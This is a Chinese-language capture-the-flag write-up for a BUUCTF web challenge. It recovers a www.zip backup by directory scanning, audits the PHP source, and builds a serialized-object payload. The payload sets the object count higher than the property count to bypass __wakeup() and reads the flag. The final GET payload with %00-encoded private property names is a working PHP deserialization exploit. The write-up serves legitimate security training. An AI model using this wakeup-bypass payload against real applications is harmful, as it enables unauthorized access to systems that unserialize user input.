解題思路
打開靶場,提示備份
常見的備份后綴名有.bak,.backup,.zip等等
這里肯定是要掃目錄了,不知道是我的問題還是目錄掃描工具的問題還是BUUCTF的問題,每次要掃目錄能掃出一堆東西來,不管你用什么后綴,是做了防掃嗎?用dirsearch還要設置一下線程,要不然BUUCTF不給你訪問了。然后用kali的dirb感覺賊垃圾,總是漏掃...
然后這里的備份文件是www.zip,我覺得也是比較逆天了。
我們直接訪問url下載即可
其中,index.js和style.css 一個是貓貓的前端文件,一個是渲染文件,我們重點看另外三個文件,先是flag.php文件:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
?提示我們flag是變量,我們要輸出顯示flag。然后是index.php文件
<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>
這里只展示重要部分,包含了class.php文件,然后get了個參數select,并且對參數進行反序列化了。然后我們看class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
?包含了flag.php文件,那么flag變量也被包含其中。定義了一個類,講一些比較重要的函數
function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}
核心函數function __destruct(),也比較好理解,我們需要讓username=admin,password=100即可輸出flag,但是我們輸入都是被反序列化的,因此我們要逆向思維,將admin和100進行序列化輸入,即可被反序列化成對應值。
function __wakeup(){$this->username = 'guest';}
這里需要了解的是__wakeup()函數,將username改變成guest,這個函數在反序列化函數的輸入為對象時,會自動調用。
總結,我們需要輸入包含username和password的值分別等于admin和100的反序列化的值,只能通過輸入類進行,因為只有一個get參數。但是輸入類,會執行wakeup()函數,username的值會變。因此我們需要繞過該函數。
這里又引出另一個比較坑的點,當反序列化函數的輸入為對象時,且對象的個數多于需要的個數,那么就不會執行__wakeup()函數。那么我們只需要構造一個類,有三個值,然后前兩個值包含username和password的值分別等于admin和100的反序列化的值即可,先正常定義:
<?php
class Name{private $username = 'admin';private $password = '100';}$select = new Name();$res=serialize(@$select); echo $res
?>
用php執行的在線網站可以輸出
O:4:"Name":2:{s:14:"□Name□username";s:5:"admin";s:14:"□Name□password";s:3:"100";}
其中有不可見字符□,如果輸入到瀏覽器中會不可見。%00是對象序列化后不可見字符對應的url編碼,我們手動加上。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
總結
總的來說比較困難吧,很多細節需要注意。首先www.zip其實就比較難找,然后代碼審計比較簡單,但是序列化需要一定的代碼能力哈。